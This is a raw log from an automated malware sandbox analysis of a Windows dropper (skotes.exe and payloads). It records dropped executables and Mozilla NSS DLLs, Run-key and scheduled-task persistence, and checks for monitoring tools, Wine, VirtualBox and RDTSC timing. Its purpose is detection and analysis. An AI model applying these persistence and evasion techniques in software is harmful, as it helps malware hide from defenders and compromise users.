Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ordjlgkm:EW;zsnxwtzn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ordjlgkm:EW;zsnxwtzn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ordjlgkm:EW;zsnxwtzn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ordjlgkm:EW;zsnxwtzn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ordjlgkm:EW;zsnxwtzn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ordjlgkm:EW;zsnxwtzn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Unpacked PE file: 7.2.f84005b97f.exe.7d0000.0.unpack :EW;.rsrc :W;.idata :W;urronsyq:EW;rvyhmtwg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;urronsyq:EW;rvyhmtwg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Unpacked PE file: 8.2.7e96f85771.exe.810000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ypqgsygb:EW;vqrcrxym:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ypqgsygb:EW;vqrcrxym:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Unpacked PE file: 9.2.f84005b97f.exe.7d0000.0.unpack :EW;.rsrc :W;.idata :W;urronsyq:EW;rvyhmtwg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;urronsyq:EW;rvyhmtwg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Unpacked PE file: 26.2.7e96f85771.exe.810000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ypqgsygb:EW;vqrcrxym:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ypqgsygb:EW;vqrcrxym:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Unpacked PE file: 44.2.f84005b97f.exe.7d0000.0.unpack :EW;.rsrc :W;.idata :W;urronsyq:EW;rvyhmtwg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;urronsyq:EW;rvyhmtwg:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Code function: 8_2_6C8A3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

8_2_6C8A3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 7e96f85771.exe.6.dr	Static PE information: real checksum: 0x1d0261 should be: 0x1c7b72
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x2dfd78 should be: 0x2d9fcb
Source: num.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: f84005b97f.exe.6.dr	Static PE information: real checksum: 0x2dfd78 should be: 0x2d9fcb
Source: g4Cyr2T5jq.exe	Static PE information: real checksum: 0x1e9504 should be: 0x1e3389
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1e9504 should be: 0x1e3389
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d0261 should be: 0x1c7b72
Source: num[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

Source: g4Cyr2T5jq.exe	Static PE information: section name:
Source: g4Cyr2T5jq.exe	Static PE information: section name: .idata
Source: g4Cyr2T5jq.exe	Static PE information: section name:
Source: g4Cyr2T5jq.exe	Static PE information: section name: ordjlgkm
Source: g4Cyr2T5jq.exe	Static PE information: section name: zsnxwtzn
Source: g4Cyr2T5jq.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: ordjlgkm
Source: skotes.exe.0.dr	Static PE information: section name: zsnxwtzn
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: urronsyq
Source: random[1].exe.6.dr	Static PE information: section name: rvyhmtwg
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: f84005b97f.exe.6.dr	Static PE information: section name:
Source: f84005b97f.exe.6.dr	Static PE information: section name: .rsrc
Source: f84005b97f.exe.6.dr	Static PE information: section name: .idata
Source: f84005b97f.exe.6.dr	Static PE information: section name: urronsyq
Source: f84005b97f.exe.6.dr	Static PE information: section name: rvyhmtwg
Source: f84005b97f.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: ypqgsygb
Source: random[1].exe0.6.dr	Static PE information: section name: vqrcrxym
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 7e96f85771.exe.6.dr	Static PE information: section name:
Source: 7e96f85771.exe.6.dr	Static PE information: section name: .rsrc
Source: 7e96f85771.exe.6.dr	Static PE information: section name: .idata
Source: 7e96f85771.exe.6.dr	Static PE information: section name:
Source: 7e96f85771.exe.6.dr	Static PE information: section name: ypqgsygb
Source: 7e96f85771.exe.6.dr	Static PE information: section name: vqrcrxym
Source: 7e96f85771.exe.6.dr	Static PE information: section name: .taggant
Source: mozglue.dll.8.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.8.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.8.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.8.dr	Static PE information: section name: .didat
Source: nss3.dll.8.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.8.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.8.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.8.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E9D91C push ecx; ret		6_2_00E9D92F
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8DB536 push ecx; ret		8_2_6C8DB549

Source: g4Cyr2T5jq.exe	Static PE information: section name: entropy: 7.977901506488262
Source: g4Cyr2T5jq.exe	Static PE information: section name: ordjlgkm entropy: 7.954202579204902
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.977901506488262
Source: skotes.exe.0.dr	Static PE information: section name: ordjlgkm entropy: 7.954202579204902
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.9818549090572155
Source: f84005b97f.exe.6.dr	Static PE information: section name: entropy: 7.9818549090572155
Source: random[1].exe0.6.dr	Static PE information: section name: ypqgsygb entropy: 7.95436124281918
Source: 7e96f85771.exe.6.dr	Static PE information: section name: ypqgsygb entropy: 7.95436124281918

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001137001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7e96f85771.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f84005b97f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 88edf6a100.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f84005b97f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f84005b97f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7e96f85771.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7e96f85771.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 88edf6a100.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 88edf6a100.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Code function: 8_2_6C9055F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_6C9055F0

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 54F04E second address: 54F052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 54E93F second address: 54E945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 54E945 second address: 54E94A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 54E94A second address: 54E950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 54E950 second address: 54E95E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 54E95E second address: 54E962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
